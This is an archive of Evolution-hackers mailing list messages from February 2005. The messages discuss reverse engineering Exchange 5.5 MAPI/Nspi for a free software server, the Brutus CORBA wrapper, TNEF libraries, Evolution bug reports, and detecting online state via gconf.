2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 07:58:18PM +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? with due respect - not a chance. i'm interested only in taking EVERY customer of microsoft's away, not just the ones that will be able to convince management to run a third party non-microsoft-sanctioned plugin into their mission-critical known-to-be-bloody-unreliable company's exchange server infrastructure. > Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). ooooooo :) let's find OUT! what i am looking for is a similarity between the functions i'm implementing and something in brutus... hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... ah ha! this looks familiar: SPropTagArray *tags = NULL; hr = msg_store_->GetProps(tags, flags, &count, &props); SPropTagArray is present in that Nspi IDL file i sent. hmmm... okay.... okay. brutus is basically a proxy server. it therefore has a server front-end (in a documented format) and a client back-end (fronting into MAPI). therefore, whilst it is useful to aid understanding of what is going on, it is not entirely suitable for what i am looking for. if brutus also claimed to have alternative back-ends, implemented at the MAPI interface layer, _then_ it would be suitable, because i could take that code and place it behind the Nspi and the EMSMDB interfaces , and run Outlook 2000 - unmodified - and have it talk to a complete free software exchange 5.5 compatible server. that's my goal. instead, i have found something called otlkcon which implements on the _client_ side a "replacement" for the MAPI api - sort-of. outlook clients still talk "mapi" via this MAPI store plugin, so it implements a MAPI store, and off it goes. i'm hoping to understand enough of this stuff at some point in order to be able to have a hope of blatting a few pieces from some of the plethora of projects around... l. From jpr@novell.com Tue Feb 1 20:17:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7B990124170; Tue, 1 Feb 2005 20:17:09 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 32FCB12405B for ; Tue, 1 Feb 2005 20:17:06 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 18:16:50 -0700 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: JP Rosevear To: Jules Colding Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 01 Feb 2005 20:16:47 -0500 Message-Id: <1107307007.17674.3.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). Well reason one is I hadn't heard of it until now :-). Reason two might be this comment from the evolution plugin skeleton in the brutus download: A Brutus server must be running on the Windows side if you want to use this plugin. Please see for the details. This makes it sound like you need a mapi implementation on a windows box somewhere. -JP -- JP Rosevear From pcolijn@gmail.com Tue Feb 1 16:27:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4F14512417D; Tue, 1 Feb 2005 16:27:35 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 1D57C1240FC for ; Tue, 1 Feb 2005 16:27:32 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so441381wri for ; Tue, 01 Feb 2005 13:27:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=c/PVFPliXUcX4UwarOcFNb5nRE24sPfovgbkgX2mJ5MXXK5tCg5hik06oa4YC5svgSiTot8E4pzw9zlvmxmXzML5KDNw3JnNvw6A/AMgB8HEgGrTBPVSpREuIn3l65CModfcrBMvmSISp4VuwF4fUG6CswktI3k1yKNgNYq093o= Received: by 10.54.39.17 with SMTP id m17mr314525wrm; Tue, 01 Feb 2005 13:27:28 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 13:27:27 -0800 (PST) Message-ID: <7c35b00e05020113275f998982@mail.gmail.com> Date: Tue, 1 Feb 2005 13:27:27 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201201756.GM5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Yeah, there are a lot of TNEF parsers :) As far as I know, WvMapi is one of the rare libraries that can actually encode TNEFs for you, as well as extracting data from them. Have fun, Peter On Tue, 1 Feb 2005 20:17:56 +0000, Luke Kenneth Casson Leighton wrote: > thank you peter! > > there's yTNEF, there's a debian package called tnef, there's KDE tnef, > there's this, that, it's kinda fun :) From w.murray@rl.ac.uk Tue Feb 1 17:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EA0DF1241DB; Tue, 1 Feb 2005 17:28:45 -0500 (EST) Received: from nori.rl.ac.uk (nori.rl.ac.uk [130.246.135.154]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A09701241C1 for ; Tue, 1 Feb 2005 17:28:42 -0500 (EST) X-RAL-MFrom: X-RAL-Connect: Received: from [168.254.0.250] (ACBFECA1.ipt.aol.com [172.191.236.161]) (authenticated bits=0) by nori.rl.ac.uk (8.12.8/8.12.8) with ESMTP id j11MNvrw016887 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 1 Feb 2005 22:28:33 GMT From: William John Murray To: evolution-hackers@lists.ximian.com In-Reply-To: <1106933217.9069.2.camel@heplnw8> References: <1106933217.9069.2.camel@heplnw8> Content-Type: text/plain Organization: CCLRC Date: Tue, 01 Feb 2005 22:23:51 +0000 Message-Id: <1107296631.6815.6.camel@wjmurray> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-CCLRC-SPAM-report: 0.626 : RCVD_IN_NJABL,RCVD_IN_NJABL_DIALUP,RCVD_IN_SORBS X-Scanned-By: MIMEDefang 2.39 Subject: [Evolution-hackers] 3 issues with 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello there, Evo 2.1.4 is great with connector; 2.1.3 worked but this is much more stable. But, there are still some issues... 1) Hang on editing a contact on the exchange server I can copy a complete contact, but every attempt to edit one causes an instant hang, not of the whole code, just of the edit window. E2k_DEBUG produces no output. This is with ssl/forms, happens every time 2) Old Settings in gconfd: I spent a long time trying setting with old evo, and my ldap server acount machine name was wrong. So although I could edit the machine no. with preferences, the owa host stored in gconfd pointed to the wrong machine. These gconfd settings are a nuisance - can they not be re-written whenever anything is changed? If not, document them! 3) 10' startup times Sometimes it gets messed up, and has to be re-started. One some of these occasions (and this is really hard to pin down) evolution takes about 10 minutes to start. Really. What is it up to?!? Seriously though, this version is much better; I can really work using it, rather than work on it! Bill From notzed@ximian.com Tue Feb 1 22:06:18 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3DCF9124955; Tue, 1 Feb 2005 22:06:18 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 192F91248B3 for ; Tue, 1 Feb 2005 22:06:15 -0500 (EST) Received: (qmail 20820 invoked from network); 2 Feb 2005 03:06:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:06:13 -0000 Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) From: Not Zed To: Jorge Bernal Cc: evolution-hackers@lists.ximian.com, evolution-patches In-Reply-To: <200501312053.36697.koke@amedias.org> References: <200501241907.02376.koke@amedias.org> <1106795260.6680.40.camel@lostzed.mmc.com.au> <200501270841.52556.koke@amedias.org> <200501312053.36697.koke@amedias.org> Content-Type: multipart/alternative; boundary="=-JyXektcwxqPtgdhvyrly" Date: Wed, 02 Feb 2005 11:01:16 +0800 Message-Id: <1107313276.9865.51.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-JyXektcwxqPtgdhvyrly Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit I followed up on the bug yesterday. While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all. So I simply removed the specific errors and use the generic 'execution failed' + strerror one. This is to help save the translators some work, since the info was quite redundant anyway. So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run. Michael On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: > El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió: > > El Jueves 27 Enero 2005 04:07, Not Zed escribió: > > > Hmm, sure i suppose, i think there are too many strings to translate, > > > but whatever I guess. > > > > > > You don't need to cc -hackers, but the i18n team need to know of string > > > changes once the patch is in. > > > > Ok, tell me when the patch is committed and I'll write to gnome-i18n. > > > > > Can you commit the patch, or do we need to? > > > > I don't have a CVS account :( > > > > > Thanks, > > > Michael > > What happened to this? > > TIA, > Koke > --=-JyXektcwxqPtgdhvyrly Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
I followed up on the bug yesterday.   While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all.  So I simply removed the specific errors and use the generic 'execution failed' + strerror one.  This is to help save the translators some work, since the info was quite redundant anyway.

So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run.

Michael

On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: 
El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió:
> El Jueves 27 Enero 2005 04:07, Not Zed escribió:
> > Hmm, sure i suppose, i think there are too many strings to translate,
> > but whatever I guess.
> >
> > You don't need to cc -hackers, but the i18n team need to know of string
> > changes once the patch is in.
>
> Ok, tell me when the patch is committed and I'll write to gnome-i18n.
>
> > Can you commit the patch, or do we need to?
>
> I don't have a CVS account :(
>
> > Thanks,
> >  Michael

What happened to this?

TIA,
 Koke
--=-JyXektcwxqPtgdhvyrly-- From notzed@ximian.com Tue Feb 1 22:33:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2FC19124E6D; Tue, 1 Feb 2005 22:33:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id E69FD124E61 for ; Tue, 1 Feb 2005 22:33:31 -0500 (EST) Received: (qmail 20880 invoked from network); 2 Feb 2005 03:33:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:33:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-ze0Ut7xvCvUWFqru5xto" Date: Wed, 02 Feb 2005 11:28:36 +0800 Message-Id: <1107314916.9862.67.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/plain Content-Transfer-Encoding: 7bit > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes. It is private data used by the shell only. --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit 
Isn't there a gconf key that determines the state?  Or does that just
determine the startup state?

The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes.

It is private data used by the shell only.

--=-ze0Ut7xvCvUWFqru5xto-- From snallagatla@novell.com Wed Feb 2 01:17:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 39565124CA0; Wed, 2 Feb 2005 01:17:33 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id C7321124BB9 for ; Wed, 2 Feb 2005 01:17:29 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 061B55BCD2; Wed, 2 Feb 2005 11:41:16 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <001201c508db$b3535490$0301a8c0@executivesontheweb.local> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 11:41:15 +0530 Message-Id: <1107324676.4106.2.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > Isn't there a gconf key that determines the state? Or does that just > > determine the startup state? > > The current state is stored in gconf, but it is NOT the appropriate > way to determine when it changes. > > It is private data used by the shell only. Oh, Why it is not appropirate?, e-d-s also listnes to this key change to switch between online/offline modes. Siva From colding@omesc.com Wed Feb 2 02:58:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EF3BA124EE8; Wed, 2 Feb 2005 02:58:45 -0500 (EST) Received: from pfepa.post.tele.dk (pfepa.post.tele.dk [195.41.46.235]) by lists.ximian.com (Postfix) with ESMTP id B930E124E68 for ; Wed, 2 Feb 2005 02:58:40 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepa.post.tele.dk (Postfix) with ESMTP id A0D1B47FE79; Wed, 2 Feb 2005 08:57:54 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: JP Rosevear Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107307007.17674.3.camel@bishop.rosevear.com> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <1107307007.17674.3.camel@bishop.rosevear.com> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:57:53 +0100 Message-Id: <1107331073.19114.3.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:16 -0500, JP Rosevear wrote: > On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > > Hi, > > > > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > Well reason one is I hadn't heard of it until now :-). > > Reason two might be this comment from the evolution plugin skeleton in > the brutus download: > > A Brutus server must be running on the Windows side if you > want to use this plugin. Please see > for the details. > > This makes it sound like you need a mapi implementation on a windows box > somewhere. Yes, Brutus wraps MAPI at the server end. Maybe not at the Exchange server but at a server with the correct MAPI dll at least. So Brutus does presently only facilitate access to Exchange servers from 5.5 onwards by wrapping MAPI in CORBA, it is not a free reimplementation of MAPI. -- jules From notzed@ximian.com Wed Feb 2 03:06:13 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E82B41242C5; Wed, 2 Feb 2005 03:06:13 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D78461243F0 for ; Wed, 2 Feb 2005 03:06:10 -0500 (EST) Received: (qmail 21039 invoked from network); 2 Feb 2005 08:06:09 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 08:06:09 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: Sivaiah Nallagatla Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107324676.4106.2.camel@linux.site> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> Content-Type: multipart/alternative; boundary="=-7uBHvPDSG3csBhxZdt5a" Date: Wed, 02 Feb 2005 16:01:11 +0800 Message-Id: <1107331271.9861.83.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > Isn't there a gconf key that determines the state? Or does that just > > > determine the startup state? > > > > The current state is stored in gconf, but it is NOT the appropriate > > way to determine when it changes. > > > > It is private data used by the shell only. > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > switch between online/offline modes. Umm, thats pretty shitty then isn't it? --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> 
> > Isn't there a gconf key that determines the state?  Or does that just
> > determine the startup state?
> 
> The current state is stored in gconf, but it is NOT the appropriate
> way to determine when it changes.
> 
> It is private data used by the shell only.
Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
switch between online/offline modes.

Umm, thats pretty shitty then isn't it?


--=-7uBHvPDSG3csBhxZdt5a-- From snallagatla@novell.com Wed Feb 2 03:16:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED2B0124F0D; Wed, 2 Feb 2005 03:16:22 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 85A13124F24 for ; Wed, 2 Feb 2005 03:16:19 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id CB35194FCB; Wed, 2 Feb 2005 13:40:07 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 13:40:06 +0530 Message-Id: <1107331806.16262.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Hmm Don't know, ultimately e-d-s has to listen to some gconf key for online/offlime mode switching and existing key behaviour works for it. If we need to use a different key for any reason we can do that but still that key value also needs to be set at the same places where start_offline key is being set now. offline/online switiching of e-d-s is driven by evolution only, we are not doing any desktop wide thing for 2.2 Siva > From colding@omesc.com Wed Feb 2 03:19:49 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9FF9B124F47; Wed, 2 Feb 2005 03:19:49 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7A2F31247B4 for ; Wed, 2 Feb 2005 03:19:46 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepb.post.tele.dk (Postfix) with ESMTP id 9FC215EE073; Wed, 2 Feb 2005 09:19:26 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> Content-Type: text/plain Date: Wed, 02 Feb 2005 09:19:26 +0100 Message-Id: <1107332366.19114.24.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > ooooooo :) > > let's find OUT! > > what i am looking for is a similarity between the functions i'm > implementing and something in brutus... > > hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... > > ah ha! this looks familiar: > > SPropTagArray *tags = NULL; > hr = msg_store_->GetProps(tags, flags, &count, &props); > > SPropTagArray is present in that Nspi IDL file i sent. > > hmmm... okay.... okay. > > brutus is basically a proxy server. Well.. yes. > it therefore has a server front-end (in a documented format) > and a client back-end (fronting into MAPI). Yes, a traditional CORBA framework: ------ ----------------- | -------------- ------ | MAPI | <=> | BRUTUS servants | <=|=> | BRUTUS stubs | <=> | Evo? | ------ ----------------- | -------------- ------ ^ | Network > therefore, whilst it is useful to aid understanding of what is going > on, it is not entirely suitable for what i am looking for. > > if brutus also claimed to have alternative back-ends, implemented > at the MAPI interface layer, _then_ it would be suitable, because i > could take that code and place it behind the Nspi and the EMSMDB > interfaces , and run > Outlook 2000 - unmodified - and have it talk to a complete free > software exchange 5.5 compatible server. > that's my goal. You can do that today with the various Outlook plug-ins out there which implements a MAPI storage provider and interfaces back to exchange4linux, Openexchange, OpenGroupware and possibly many other groupware back-ends. Those plug-ins are not FOSS of-cause :-( Brutus is aimed at applications that want to talk to Exchange (any version from 5.5 onwards) on an equal footing with Outlook but, practicality issues aside, you could put a different back-end behind Brutus than an Exchange server, if you have the time and motivation to build one. > i'm hoping to understand enough of this stuff at some point > in order to be able to have a hope of blatting a few pieces > from some of the plethora of projects around... It does indeed seem that you already do understand quite a bit ;-) Good luck, jules From lkcl@lkcl.net Wed Feb 2 06:33:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 576AF12501A; Wed, 2 Feb 2005 06:33:25 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 0FC2B12501F for ; Wed, 2 Feb 2005 06:33:22 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id C0DC2BFFD; Wed, 2 Feb 2005 11:33:08 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1CwIut-0006PB-FL; Wed, 02 Feb 2005 11:43:27 +0000 Date: Wed, 2 Feb 2005 11:43:27 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050202114327.GJ15458@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e05020113275f998982@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > Yeah, there are a lot of TNEF parsers :) > > As far as I know, WvMapi is one of the rare libraries that can > actually encode TNEFs for you, as well as extracting data from them. oooooo goooood. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 16:04:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3A312124457; Tue, 1 Feb 2005 16:04:51 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 23837124539 for ; Tue, 1 Feb 2005 16:04:48 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 87F1763FD8; Tue, 1 Feb 2005 15:56:43 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lists.ximian.com (headcheese.ximian.com [130.57.169.17]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 9082A63FC8; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: by lists.ximian.com (Postfix, from userid 38) id 